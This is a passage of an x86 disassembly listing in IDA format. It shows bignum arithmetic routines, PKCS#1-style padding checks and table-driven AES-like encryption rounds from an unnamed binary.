		mov	eax, [ebp+arg_4]
		call	sub_418D42
		push	204h
		mov	esi, eax
		lea	eax, [ebp+var_408]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 20h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D42	proc near		; CODE XREF: sub_418CD5+4Bp

var_408		= dword	ptr -408h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	esi
		mov	esi, eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, esi
		call	sub_417B95
		push	[ebp+arg_4]
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, [ebp+arg_8]
		call	sub_417B80
		lea	eax, [ebp+var_204]
		push	eax
		push	[ebp+arg_0]
		push	eax
		mov	eax, esi
		call	sub_4182E9
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, esi
		call	sub_417B95
		lea	eax, [ebp+var_204]
		push	eax
		mov	ecx, esi
		lea	edx, [ebp+var_408]
		mov	[ebp+var_408], 1
		call	sub_4183D3
		mov	esi, eax
		push	204h
		neg	esi
		lea	eax, [ebp+var_204]
		sbb	esi, esi
		push	0
		push	eax
		inc	esi
		call	sub_41C6D0
		add	esp, 2Ch
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418D42	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DCE	proc near		; CODE XREF: sub_409BDA+54Ep
					; sub_40BDE3+83p
		push	20h
		lea	eax, [esi+4]
		push	0
		push	eax
		mov	dword ptr [esi], 100h
		call	sub_41C6D0
		and	dword ptr [esi+24h], 0
		add	esp, 0Ch
		xor	eax, eax
		retn
sub_418DCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DEB	proc near		; CODE XREF: sub_409BDA+585p
					; sub_40BDE3+B8p

var_6C		= byte ptr -6Ch
var_14		= byte ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	ebx
		push	edi
		lea	eax, [ebp+var_6C]
		call	sub_417057
		push	[ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		call	sub_41707B
		lea	eax, [ebp+var_14]
		push	eax
		lea	edi, [ebp+var_6C]
		call	sub_417107
		and	[ebp+var_4], 0
		pop	ecx
		pop	ecx
		push	10h
		lea	ecx, [ebp+var_5]
		lea	eax, [esi+13h]
		pop	edi

loc_418E21:				; CODE XREF: sub_418DEB+4Cj
		movzx	ebx, byte ptr [ecx]
		add	ebx, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		add	edx, ebx
		mov	[eax], dl
		shr	edx, 8
		dec	ecx
		dec	eax
		dec	edi
		mov	[ebp+var_4], edx
		jnz	short loc_418E21
		mov	eax, [esi]
		cmp	eax, [ebp+arg_4]
		pop	edi
		pop	ebx
		jnb	short loc_418E47
		and	dword ptr [esi], 0
		jmp	short loc_418E4C
; ---------------------------------------------------------------------------

loc_418E47:				; CODE XREF: sub_418DEB+55j
		sub	eax, [ebp+arg_4]
		mov	[esi], eax

loc_418E4C:				; CODE XREF: sub_418DEB+5Aj
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		xor	eax, eax
		leave
		retn
sub_418DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E60	proc near		; CODE XREF: sub_418528+19p
					; sub_418EFC+52p

var_5C		= byte ptr -5Ch
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		cmp	dword ptr [esi], 0
		jz	short loc_418E72
		mov	eax, 408h
		leave
		retn
; ---------------------------------------------------------------------------

loc_418E72:				; CODE XREF: sub_418E60+9j
		push	edi
		mov	edi, [esi+24h]
		cmp	[ebp+arg_4], edi
		jbe	short loc_418EDB
		push	ebx
		push	10h
		pop	ebx

loc_418E7F:				; CODE XREF: sub_418E60+78j
		mov	eax, esi
		sub	eax, edi
		push	edi
		add	eax, 38h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		add	[ebp+arg_0], edi
		sub	[ebp+arg_4], edi
		lea	eax, [ebp+var_5C]
		call	sub_417057
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_5C]
		call	sub_41707B
		lea	eax, [esi+28h]
		push	eax
		lea	edi, [ebp+var_5C]
		call	sub_417107
		add	esp, 14h
		mov	edi, ebx
		xor	ecx, ecx
		lea	eax, [esi+13h]

loc_418EC0:				; CODE XREF: sub_418E60+73j
		mov	dl, [eax]
		mov	[ebp+var_1], dl
		inc	dl
		cmp	[ebp+var_1], 0
		mov	[eax], dl
		jnz	short loc_418ED5
		inc	ecx
		dec	eax
		cmp	ecx, ebx
		jb	short loc_418EC0

loc_418ED5:				; CODE XREF: sub_418E60+6Dj
		cmp	[ebp+arg_4], ebx
		ja	short loc_418E7F
		pop	ebx

loc_418EDB:				; CODE XREF: sub_418E60+19j
		push	[ebp+arg_4]
		mov	eax, esi
		sub	eax, edi
		add	eax, 38h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		sub	edi, [ebp+arg_4]
		add	esp, 0Ch
		mov	[esi+24h], edi
		xor	eax, eax
		pop	edi
		leave
		retn
sub_418E60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EFC	proc near		; CODE XREF: sub_409BDA+5F4p

var_208		= byte ptr -208h
var_207		= byte ptr -207h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		mov	eax, [ebp+arg_10]
		push	edi
		mov	edi, [eax]
		mov	eax, [ebp+arg_C]
		add	edi, 7
		shr	edi, 3
		lea	ecx, [eax+0Bh]
		cmp	ecx, edi
		jbe	short loc_418F25
		mov	eax, 406h
		jmp	loc_418FBA
; ---------------------------------------------------------------------------

loc_418F25:				; CODE XREF: sub_418EFC+1Dj
		push	ebx
		push	esi
		mov	ecx, edi
		sub	ecx, eax
		push	2
		pop	ebx
		lea	eax, [ecx-1]
		cmp	eax, ebx
		mov	[ebp+var_208], 0
		mov	[ebp+var_207], bl
		mov	[ebp+var_8], eax
		jbe	short loc_418F69

loc_418F45:				; CODE XREF: sub_418EFC+5Ej
					; sub_418EFC+6Bj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		call	sub_418E60
		mov	al, [ebp+var_1]
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_418F45
		mov	[ebp+ebx+var_208], al
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_418F45

loc_418F69:				; CODE XREF: sub_418EFC+47j
		push	[ebp+arg_C]
		lea	eax, [ebp+ebx+var_207]
		push	[ebp+arg_8]
		mov	[ebp+ebx+var_208], 0
		push	eax
		call	sub_41BC60
		push	edi
		mov	edi, [ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419135
		push	200h
		mov	esi, eax
		lea	eax, [ebp+var_208]
		push	0
		push	eax
		mov	[ebp+var_1], 0
		call	sub_41C6D0
		add	esp, 28h
		mov	eax, esi
		pop	esi
		pop	ebx

loc_418FBA:				; CODE XREF: sub_418EFC+24j
		pop	edi
		leave
		retn
sub_418EFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FBD	proc near		; CODE XREF: .text:0040A5AAp
					; .text:0040B2F3p

var_200		= byte ptr -200h
var_1FF		= byte ptr -1FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, [edi]
		add	esi, 7
		shr	esi, 3
		cmp	[ebp+arg_C], esi
		ja	short loc_418FFD
		push	[ebp+arg_C]
		lea	eax, [ebp+arg_C]
		push	[ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_419135
		add	esp, 10h
		test	eax, eax
		jnz	loc_41907B
		cmp	[ebp+arg_C], esi
		jz	short loc_419004

loc_418FFD:				; CODE XREF: sub_418FBD+18j
		mov	eax, 406h
		jmp	short loc_41907B
; ---------------------------------------------------------------------------

loc_419004:				; CODE XREF: sub_418FBD+3Ej
		cmp	[ebp+var_200], 0
		jnz	short loc_419076
		cmp	[ebp+var_1FF], 1
		jnz	short loc_419076
		push	2
		pop	ecx
		lea	eax, [esi-1]
		cmp	eax, ecx
		jbe	short loc_41902F

loc_419020:				; CODE XREF: sub_418FBD+70j
		cmp	[ebp+ecx+var_200], 0FFh
		jnz	short loc_41902F
		inc	ecx
		cmp	ecx, eax
		jb	short loc_419020

loc_41902F:				; CODE XREF: sub_418FBD+61j
					; sub_418FBD+6Bj
		mov	al, [ebp+ecx+var_200]
		inc	ecx
		test	al, al
		jnz	short loc_419076
		mov	edx, [ebp+arg_4]
		mov	eax, esi
		sub	eax, ecx
		mov	[edx], eax
		lea	edx, [eax+0Bh]
		cmp	edx, esi
		ja	short loc_419076
		push	eax
		lea	eax, [ebp+ecx+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		push	200h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 18h
		xor	eax, eax
		jmp	short loc_41907B
; ---------------------------------------------------------------------------

loc_419076:				; CODE XREF: sub_418FBD+4Ej
					; sub_418FBD+57j ...
		mov	eax, 401h

loc_41907B:				; CODE XREF: sub_418FBD+35j
					; sub_418FBD+45j ...
		pop	edi
		pop	esi
		leave
		retn
sub_418FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41907F	proc near		; CODE XREF: sub_409BDA+1B8p

var_200		= byte ptr -200h
var_1FF		= byte ptr -1FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, [edi]
		add	esi, 7
		shr	esi, 3
		cmp	[ebp+arg_C], esi
		ja	short loc_4190BB
		push	[ebp+arg_C]
		lea	eax, [ebp+arg_C]
		push	[ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_419236
		add	esp, 10h
		test	eax, eax
		jnz	short loc_419131
		cmp	[ebp+arg_C], esi
		jz	short loc_4190C2

loc_4190BB:				; CODE XREF: sub_41907F+18j
		mov	eax, 406h
		jmp	short loc_419131
; ---------------------------------------------------------------------------

loc_4190C2:				; CODE XREF: sub_41907F+3Aj
		cmp	[ebp+var_200], 0
		jnz	short loc_41912C
		push	2
		pop	ecx
		cmp	[ebp+var_1FF], cl
		jnz	short loc_41912C
		lea	eax, [esi-1]
		cmp	eax, ecx
		jbe	short loc_4190EC

loc_4190DD:				; CODE XREF: sub_41907F+6Bj
		cmp	[ebp+ecx+var_200], 0
		jz	short loc_4190EC
		inc	ecx
		cmp	ecx, eax
		jb	short loc_4190DD

loc_4190EC:				; CODE XREF: sub_41907F+5Cj
					; sub_41907F+66j
		inc	ecx
		cmp	ecx, esi
		jnb	short loc_41912C
		mov	edx, [ebp+arg_4]
		mov	eax, esi
		sub	eax, ecx
		mov	[edx], eax
		lea	edx, [eax+0Bh]
		cmp	edx, esi
		ja	short loc_41912C
		push	eax
		lea	eax, [ebp+ecx+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		push	200h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 18h
		xor	eax, eax
		jmp	short loc_419131
; ---------------------------------------------------------------------------

loc_41912C:				; CODE XREF: sub_41907F+4Aj
					; sub_41907F+55j ...
		mov	eax, 401h

loc_419131:				; CODE XREF: sub_41907F+35j
					; sub_41907F+41j ...
		pop	edi
		pop	esi
		leave
		retn
sub_41907F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419135	proc near		; CODE XREF: sub_418EFC+99p
					; sub_418FBD+2Bp

var_810		= byte ptr -810h
var_60C		= dword	ptr -60Ch
var_408		= dword	ptr -408h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	esi, 81h
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		mov	eax, [ebp+arg_C]
		call	sub_417AE5
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+var_408]
		push	esi
		push	eax
		mov	ebx, 200h
		mov	eax, ebx
		call	sub_417AE5
		lea	eax, [edi+204h]
		push	eax
		lea	eax, [ebp+var_60C]
		push	esi
		push	eax
		mov	eax, ebx
		call	sub_417AE5
		add	esp, 24h
		mov	eax, esi

loc_41918B:				; CODE XREF: sub_419135+61j
		dec	eax
		js	short loc_419198
		cmp	[ebp+eax*4+var_408], 0
		jz	short loc_41918B

loc_419198:				; CODE XREF: sub_419135+57j
		lea	ebx, [eax+1]

loc_41919B:				; CODE XREF: sub_419135+71j
		dec	esi
		js	short loc_4191A8
		cmp	[ebp+esi*4+var_60C], 0
		jz	short loc_41919B

loc_4191A8:				; CODE XREF: sub_419135+67j
		lea	eax, [ebp+var_204]
		push	eax
		mov	ecx, ebx
		lea	edx, [ebp+var_408]
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jl	short loc_4191C8
		mov	eax, 401h
		jmp	short loc_419232
; ---------------------------------------------------------------------------

loc_4191C8:				; CODE XREF: sub_419135+8Aj
		lea	eax, [ebp+var_408]
		push	eax
		inc	esi
		push	esi
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_810]
		push	eax
		mov	eax, ebx
		call	sub_417FA5
		mov	eax, [edi]
		mov	ecx, [ebp+arg_4]
		add	eax, 7
		shr	eax, 3
		mov	[ecx], eax
		push	ebx
		lea	ecx, [ebp+var_810]
		push	ecx
		push	[ebp+arg_0]
		call	sub_417B36
		mov	esi, 204h
		push	esi
		lea	eax, [ebp+var_810]
		push	0
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 38h
		xor	eax, eax

loc_419232:				; CODE XREF: sub_419135+91j
		pop	esi
		pop	ebx
		leave
		retn
sub_419135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419236	proc near		; CODE XREF: sub_41907F+2Bp

var_1634	= byte ptr -1634h
var_1430	= byte ptr -1430h
var_122C	= byte ptr -122Ch
var_1028	= byte ptr -1028h
var_E24		= byte ptr -0E24h
var_C20		= byte ptr -0C20h
var_A1C		= dword	ptr -0A1Ch
var_818		= dword	ptr -818h
var_614		= byte ptr -614h
var_410		= dword	ptr -410h
var_20C		= byte ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 1634h
		call	sub_41E090
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	esi, 81h
		lea	eax, [ebp+var_A1C]
		push	esi
		push	eax
		mov	eax, [ebp+arg_C]
		call	sub_417AE5
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+var_410]
		push	esi
		push	eax
		mov	eax, 200h
		call	sub_417AE5
		lea	eax, [edi+604h]
		push	eax
		lea	eax, [ebp+var_818]
		push	esi
		push	eax
		mov	ebx, 100h
		mov	eax, ebx
		call	sub_417AE5
		lea	eax, [edi+704h]
		push	eax
		lea	eax, [ebp+var_C20]
		push	esi
		push	eax
		mov	eax, ebx
		call	sub_417AE5
		lea	eax, [edi+804h]
		push	eax
		lea	eax, [ebp+var_1028]
		push	esi
		push	eax
		mov	eax, ebx
		call	sub_417AE5
		lea	eax, [edi+904h]
		push	eax
		lea	eax, [ebp+var_122C]
		push	esi
		push	eax
		mov	eax, ebx
		call	sub_417AE5
		add	esp, 48h
		lea	eax, [edi+0A04h]
		push	eax
		lea	eax, [ebp+var_1634]
		push	esi
		push	eax
		mov	eax, ebx
		call	sub_417AE5
		add	esp, 0Ch
		mov	eax, esi
		xor	ebx, ebx

loc_4192F0:				; CODE XREF: sub_419236+C4j
		dec	eax
		js	short loc_4192FC
		cmp	[ebp+eax*4+var_A1C], ebx
		jz	short loc_4192F0

loc_4192FC:				; CODE XREF: sub_419236+BBj
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, esi

loc_419302:				; CODE XREF: sub_419236+D6j
		dec	eax
		js	short loc_41930E
		cmp	[ebp+eax*4+var_410], ebx
		jz	short loc_419302

loc_41930E:				; CODE XREF: sub_419236+CDj
		lea	ecx, [eax+1]
		mov	[ebp+var_4], ecx

loc_419314:				; CODE XREF: sub_419236+E8j
		dec	esi
		js	short loc_419320
		cmp	[ebp+esi*4+var_818], ebx
		jz	short loc_419314

loc_419320:				; CODE XREF: sub_419236+DFj
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	edx, [ebp+var_410]
		inc	esi
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jl	short loc_419342
		mov	eax, 401h
		jmp	loc_41954B
; ---------------------------------------------------------------------------

loc_419342:				; CODE XREF: sub_419236+100j
		push	esi
		lea	eax, [ebp+var_818]
		push	eax
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_E24]
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_417F2F
		push	esi
		lea	eax, [ebp+var_C20]
		push	eax
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_1430]
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_417F2F
		lea	eax, [ebp+var_818]
		push	eax
		push	esi
		lea	eax, [ebp+var_1028]
		push	eax
		lea	eax, [ebp+var_E24]
		push	eax
		lea	eax, [ebp+var_410]
		push	eax
		mov	eax, esi
		call	sub_417FA5
		lea	eax, [ebp+var_614]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_417B95
		lea	eax, [ebp+var_C20]
		push	eax
		push	esi
		lea	eax, [ebp+var_122C]
		push	eax
		lea	eax, [ebp+var_1430]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		mov	eax, esi
		call	sub_417FA5
		lea	eax, [ebp+var_410]
		add	esp, 4Ch
		push	eax
		mov	ecx, esi
		lea	edx, [ebp+var_614]
		call	sub_4183D3
		pop	ecx
		test	eax, eax
		lea	eax, [ebp+var_20C]
		mov	ecx, esi
		push	eax
		jl	short loc_41940D
		lea	edx, [ebp+var_614]
		lea	eax, [ebp+var_410]
		call	sub_417C0D
		jmp	short loc_419435
; ---------------------------------------------------------------------------

loc_41940D:				; CODE XREF: sub_419236+1C2j
		lea	edx, [ebp+var_410]
		lea	eax, [ebp+var_614]
		call	sub_417C0D
		lea	eax, [ebp+var_20C]
		push	eax
		mov	edx, eax
		mov	ecx, esi
		lea	eax, [ebp+var_818]
		call	sub_417C0D
		pop	ecx

loc_419435:				; CODE XREF: sub_419236+1D5j
		pop	ecx
		lea	eax, [ebp+var_818]
		push	eax
		lea	eax, [ebp+var_1634]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		mov	ecx, eax
		call	sub_417F5D
		lea	eax, [ebp+var_C20]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		mov	eax, esi
		lea	ecx, [ebp+var_20C]
		call	sub_417C59
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		lea	edx, [ebp+var_614]
		call	sub_417BCF
		mov	eax, [edi]
		mov	ecx, [ebp+arg_4]
		push	[ebp+var_4]
		add	eax, 7
		shr	eax, 3
		mov	[ecx], eax
		lea	ecx, [ebp+var_20C]
		push	ecx
		push	[ebp+arg_0]
		call	sub_417B36
		mov	esi, 204h
		push	esi
		lea	eax, [ebp+var_A1C]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_E24]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_1430]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 48h
		push	esi
		lea	eax, [ebp+var_1028]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_122C]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_410]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_614]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_818]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_C20]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 48h
		push	esi
		push	ebx
		lea	eax, [ebp+var_1634]
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_20C]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 18h
		xor	eax, eax

loc_41954B:				; CODE XREF: sub_419236+107j
		pop	esi
		pop	ebx
		leave
		retn
sub_419236	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41954F	proc near		; CODE XREF: sub_404CDB+31p
					; sub_404D48+Ap

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+204h], 1
		jnz	short loc_419568
		xor	eax, eax
		jmp	loc_41B3D2
; ---------------------------------------------------------------------------

loc_419568:				; CODE XREF: sub_41954F+10j
		xor	ecx, ecx
		mov	ch, [eax+3]
		movzx	edx, byte ptr [eax+1]
		push	ebx
		xor	ebx, ebx
		mov	bh, [eax+7]
		mov	cl, [eax+2]
		push	edi
		movzx	edi, byte ptr [eax+15h]
		mov	bl, [eax+6]
		shl	ecx, 8
		or	ecx, edx
		shl	ecx, 8
		movzx	edx, byte ptr [eax]
		or	ecx, edx
		xor	ecx, [esi]
		movzx	edx, byte ptr [eax+9]
		mov	[ebp+var_28], ecx
		movzx	ecx, byte ptr [eax+5]
		shl	ebx, 8
		or	ebx, ecx
		movzx	ecx, byte ptr [eax+4]
		shl	ebx, 8
		or	ebx, ecx
		xor	ecx, ecx
		mov	ch, [eax+0Bh]
		xor	ebx, [esi+4]
		mov	[ebp+var_24], ebx
		mov	cl, [eax+0Ah]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+8]
		shl	ecx, 8
		or	ecx, edx
		xor	ecx, [esi+8]
		movzx	edx, byte ptr [eax+0Dh]
		mov	[ebp+var_20], ecx
		xor	ecx, ecx
		mov	ch, [eax+0Fh]
		mov	cl, [eax+0Eh]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+0Ch]
		shl	ecx, 8
		or	ecx, edx
		xor	ecx, [esi+0Ch]
		xor	edx, edx
		mov	dh, [eax+13h]
		mov	[ebp+var_1C], ecx
		movzx	ecx, byte ptr [eax+11h]
		mov	dl, [eax+12h]
		shl	edx, 8
		or	edx, ecx
		movzx	ecx, byte ptr [eax+10h]
		shl	edx, 8
		or	edx, ecx
		xor	ecx, ecx
		mov	ch, [eax+17h]
		xor	edx, [esi+10h]
		mov	[ebp+var_18], edx
		mov	cl, [eax+16h]
		shl	ecx, 8
		or	ecx, edi
		movzx	edi, byte ptr [eax+14h]
		shl	ecx, 8
		or	ecx, edi
		xor	ecx, [esi+14h]
		movzx	edi, byte ptr [eax+19h]
		mov	[ebp+var_14], ecx
		xor	ecx, ecx
		mov	ch, [eax+1Bh]
		mov	cl, [eax+1Ah]
		shl	ecx, 8
		or	ecx, edi
		movzx	edi, byte ptr [eax+18h]
		shl	ecx, 8
		or	ecx, edi
		xor	ecx, [esi+18h]
		mov	[ebp+var_10], ecx
		xor	ecx, ecx
		mov	ch, [eax+1Fh]
		mov	cl, [eax+1Eh]
		movzx	edi, byte ptr [eax+1Dh]
		movzx	eax, byte ptr [eax+1Ch]
		shl	ecx, 8
		or	ecx, edi
		shl	ecx, 8
		or	ecx, eax
		xor	ecx, [esi+1Ch]
		mov	[ebp+var_C], ecx
		mov	ecx, [esi+200h]
		lea	eax, [ecx-9]
		shl	eax, 5
		add	eax, esi
		sub	ecx, 0Ah
		jz	loc_419E42
		dec	ecx
		dec	ecx
		jz	loc_419A67
		dec	ecx
		dec	ecx
		jnz	loc_41B2EF
		mov	ecx, edx
		shr	ecx, 18h
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_1C]
		mov	ecx, ebx
		shr	ecx, 8
		movzx	ecx, cl
		shr	edx, 10h
		movzx	edi, dl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	edx, [ebp+var_4]
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_28]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_14]
		xor	esi, [eax-80h]
		shr	ecx, 18h
		mov	[ebp+var_48], esi
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_20]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_4], edx
		shr	edx, 10h
		movzx	edi, dl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	edx, [ebp+var_4]
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, bl
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	esi, [eax-7Ch]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_44], esi
		shr	ecx, 18h
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_1C]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	ebx, [ebp+var_10]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	esi, [eax-78h]
		shr	ebx, 10h
		mov	[ebp+var_40], esi
		movzx	esi, bl
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		xor	ecx, ds:dword_42B4D8[esi*4]
		mov	ebx, edx
		shr	ebx, 8
		movzx	esi, bl
		xor	ecx, ds:dword_42B0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_1C]
		xor	ecx, ds:dword_42ACD8[esi*4]
		mov	ebx, [ebp+var_C]
		xor	ecx, [eax-74h]
		shr	ebx, 10h
		movzx	esi, bl
		mov	ebx, [ebp+var_14]
		mov	esi, ds:dword_42B4D8[esi*4]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_28]
		movzx	edx, dl
		mov	[ebp+var_4], esi
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	esi, [eax-70h]
		shr	edx, 8
		mov	[ebp+var_38], esi
		movzx	edx, dl
		mov	esi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_28]
		mov	edi, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		mov	ebx, [ebp+var_20]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 18h
		xor	esi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_14]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		shr	edx, 8
		movzx	edx, dl
		mov	edi, ds:dword_42B0D8[edx*4]
		xor	edi, ds:dword_42B8D8[ebx*4]
		mov	edx, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_10]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	ebx, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		shr	ebx, 10h
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_28]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_C]
